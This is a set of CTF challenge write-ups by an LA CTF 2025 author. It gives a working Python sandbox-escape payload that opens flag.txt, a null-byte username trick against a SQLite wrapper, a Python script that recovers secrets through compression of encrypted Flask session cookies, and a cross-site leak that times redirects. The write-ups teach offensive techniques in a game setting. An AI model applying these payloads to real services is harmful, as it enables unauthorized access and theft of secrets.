Try   HackMD

LA CTF 2025 Author Writeups

Hi! I'm r2uwu2 from PBR | UCLA.

This is the second LA CTF I have written challenges for. This year, I primarily wrote web and a few misc challenges. Here are some writeups for the harder challenges I wrote.

Misc

Farquaad

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Today, we're taking a journey to the Kingdom of Far Far Away. It is a special day, for Lord Farquaad is executing today!

I made a pyjail where you are restricted to:

  • an eval context
  • no builtins
  • no "e"
  • ascii printable characters

This challenge is a bit tricky because certain key attributes we use in pyjails are banned (like __base__ and __subclasses__).

The key realizations to solve this challenge are:

  • ().__class__.__mro__[1] can be used instead of __base__ to retrieve object
  • object.__dict__["getattr"] can be used to retrieve getattr

Once we have getattr, we can get any attribute on any object because we can use "\x65" to represent "e" in a string argument to getattr.

My final solve:

(o := ().__class__.__mro__[1], g := o.__dict__["__g\x65tattribut\x65__"], g(g(o, "__subclass\x65s__")()[138].__init__.__builtins__["op\x65n"]("flag.txt"), "r\x65ad")())[-1]

Mikumikubeam

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Miku miku beaaammmmmmmmmmmmmmmmm

This challenge is a steganography challenge using imagemagick's stegano operator. To encode a message using its operator, we first generate a message.gif image with the text to hide. We can then run magick composite message.gif original_image.png -stegano +<x-offset>+<y-offset> stegimage.png to hide the message at a random offset. Using our script, the size of message.gif is also random.

With challenges providing source, the first thing we should do is understand how the steganography works. I found the imagemagick code for stegano operator and started reading through it. If you follow the usage of stegano_image->offset (the offset parameter in the create command), the offset works by starting our steg <offset> pixels into the image. In fact, when I say <offset>, I more accurately mean <x-offset> as <y-offset> is not used at all by imagemagick (try decrypting an image with one offset using a different <y-offset>).

This means that we can get <x-offset> through flattening the difference in mikumikusteg.png and mikumikubeam.png and finding the first red pixel.

Now that we have our offset, we need to guess the image width and height or we will decode the image to gibberish. There is one core realization we can make.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

If we were to use a small image size and look at the difference between steg and original image, only a certain fraction of the image will be filled with red. In fact, if we flatten the image and take the difference between the index of the last red and the first red (call it redrange(diff)), we can find the relation redrange(diff) / prod(msgdims) = 16 (it may go down slightly as the message size increases relatively to the original image dimensions).

As we can find redrange(diff), we can find the product of the message dimensions. Using this product, we can brute force what the dimensions are by generating pairs of (width, height) (there should only be 100-200 such images).

We can prune the generated images for the correct size using CV techniques. I chose to analyze the FFT. If we extract a message from mikumikusteg.png, transpose the image, then take the FFT, there is a peak at frequency[xdim] with a magnitude corresponding roughly to the quality of the message.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

output from my FFT-based classifier

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

I added 1 to my width to compensate for the horizontal skew. While it isn't exactly the utilized dimensions, vertical skew is easy to read.

Solve script: TODO - check archive

Web

Arclbroth

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

I heard Arc'blroth was writing challenges for LA CTF. Wait, is it arc'blroth or arcl broth?
39 solves / 369 points

Arclbroth is an experience where you can brew arcs to form broth (inspired by my teammate Arc'blroth).

There are no vulnerabilities directly in the handout. It is all secure sqlite queries. However, the library secure-sqlite is interesting. That library was actually created by my teammate Kevin as part of a club project to make an FFI wrapper for sqlite utilizing template string literals.

While there were a few issues in the library (such as binding double to int and int to double), the main vulnerability to exploit is the handling of strings. In nodejs, strings may have null bytes in them due to its string representation. However, in C, strings are terminated by a null byte. In the FFI to the C-interface exported by sqlite, we do not properly handle this.

This allows us to register with a username of "admin\0owo". While this is stored correctly in the database, when we parse the retrieved results we get "admin" as the c-string is terminated by "\0". Since we give 100 arcs to anyone named "admin", we can get 100 arcs and brew the flag broth.

lactf{bulri3v3_it_0r_n0t_s3cur3_sqlit3_w4s_n0t_s3cur3}

Whack a Mole

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Whackers!
10 solves / 463 points

Whack a mole is a flask app utilizing an encrypted flask session. The flag is in the encrypted session and the objective is to exfiltrate the flag.

The core realization to this challenge is that flask sessions will be zlib-compressed if it reduces the size of the cookie. This compression is applied to the json-encoded cookie as a whole.

Unfortunately for whack-a-mole, this provides us a side channel vector. If we manage to put in a part of the flag into the session cookie, the cookie will compress better than if the flag substring was not in the cookie. This will result in the cookie being shorter in length, which we can detect in the encrypted cookie through playing with padding.

Solve:

import string import requests from tqdm import tqdm base = "https://whack-a-mole.chall.lac.tf/" url = lambda end: f"{base.rstrip('/')}{end}" alpha = string.ascii_letters + string.digits + "{}_" rng = "q3aUrDpfmRzMzABTCILvXCOA3Us" s = requests.Session() def get_len(guess): r = s.post( url("/login"), data={"username": guess, "funny": "0"}, allow_redirects=False, ) sess = s.cookies["session"] return len(sess) prefix = "lac" block_size = 16 padrange = [*range(block_size)] while "}" not in prefix: for pad in [*padrange]: owos = [] for ch in alpha: guess = (prefix + ch) * block_size guess = guess + rng[:pad] owos.append((get_len(guess), ch)) owos.sort() if owos[0][0] != owos[1][0]: prefix += owos[0][1] padrange.sort(key=lambda x: -1 if x == pad else x) break print(prefix)
lactf{wh4ck_1_m0l3_1_m0r3_sh4ll_t4k3_it5_pl4c3}

Chessbased/Gigachessbased

Chessbased:

Me: Mom, can we get chessbase?

Mom: No, we have chessbase at home.

Chessbase at home:
247 solves / 265 points

Gigachessbased:

I was too focused on the trap, I forgot about the cheese.
2 solves / 495 points

Chessbased is a web application for browsing chess openings (inspired by ChessBase). There exist no injection vulnerabilities in this client-side challenge. It was intended to be my hardest web challenge for this CTF, so you can imagine my surprise when I saw 2 solves on this challenge within 30 minutes of the CTF's release.

The backend code is as below (all openings are free except the flag opening which is premium).

app.get('/render', (req, res) => { const id = req.query.id; const op = lookup.get(id); res.send(` <p>${op?.name}</p> <p>${op?.moves}</p> `); }); app.post('/search', (req, res) => { if (req.headers.referer !== challdomain) { res.send('only challenge is allowed to make search requests'); return; } const q = req.body.q ?? 'n/a'; const hasPremium = req.cookies.adminpw === adminpw; for (const op of openings) { if (op.premium && !hasPremium) continue; if (op.moves.includes(q) || op.name.includes(q)) { return res.redirect(`/render?id=${encodeURIComponent(op.name)}`); } } return res.send('lmao nothing'); });

Oops, I got too lost in the sauce and forgot to add authentication on /render. Most people solved chessbase through using this vulnerability and going to /render?id=flag.

flag

After a few angry pings by aplet123, I quickly added authentication and released gigachessbased. Now, the fun begins

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
.

Looking at the frontend (svelte using svelte-spa-router), there's not much to work with. It is just a search page which looks at the query string (from the hash-based spa routing) and performs an api call to the /search endpoint.

<script> import { push, querystring } from 'svelte-spa-router'; let searchResult = ''; $: query = new URLSearchParams($querystring).get('q') ?? 'n/a'; $: inputQuery = query; const api = import.meta.env.MODE === 'development' ? end => `http://localhost:3000${end}` : end => end; const search = async (query) => { searchResult = await fetch(api('/search'), { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ q: query }) }).then(r => r.text()).catch(err => err); }; $: search(query); const onSubmit = () => { push(`/search?q=${encodeURIComponent(inputQuery)}`); }; </script> <main> <h1>Chessbased</h1> <p>Welcome to chessbased, enter an opening to search in our chess opening explorer!</p> <form on:submit|preventDefault={onSubmit}> <label> Opening: <input type="text" bind:value={inputQuery}> </label> <input type="submit" value="go"> </form> <div class="search-result"> {@html searchResult} </div> </main>

We don't get any injections into the frontend and the only thing we can really control is the url of the page. This is where the first part of the solution comes in:

If we have a site with below javascript code,

const w = window.open('<gigachessbased>');

we can use w.location.replace('<gigachessbased>#/search?q=something') to cause gigachessbased to re-perform the search without reloading the full page. This will happen because gigachessbased uses hash-based routing (like gmail) and changing the hash just results in a hashchange event that svelte-spa-router handles by updating $querystring, causing a search.

Now that we have a way to trigger a search on gigachessbased from a website we control, we can try to identify potential cross-site leaks (xs-leaks). If we stare at the backend for a bit, we can notice that a successful search results in a redirect response rendering the opening while an unsuccesful search request returns a failure message directly.

Side note: There exists a side channel to detect redirects through abusing the 20-redirect limit. If we make a page that redirects 19 times to itself and then to the target page, the page will load if the target has no redirect and will fail to load if there is a redirect. We cannot use this side channel because I check the referer header.

We can actually detect cross-site whether a redirect happened or not without the classic redirect oracles. If we dive into the HTTP protocol, retrieving the result of a redirect response uses two requests, while a simple response uses one request.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

This will cause a successful search to take 2x the amount of time as an unsuccessful search. We can utilize a connection pool xs-leak to detect this minor difference.

We can use this substring oracle to start from lactf{ and repeatedly brute force the next character until we get the flag lactf{4ll_int3nded_fr_fr}.

Solve script: TODO - link to archive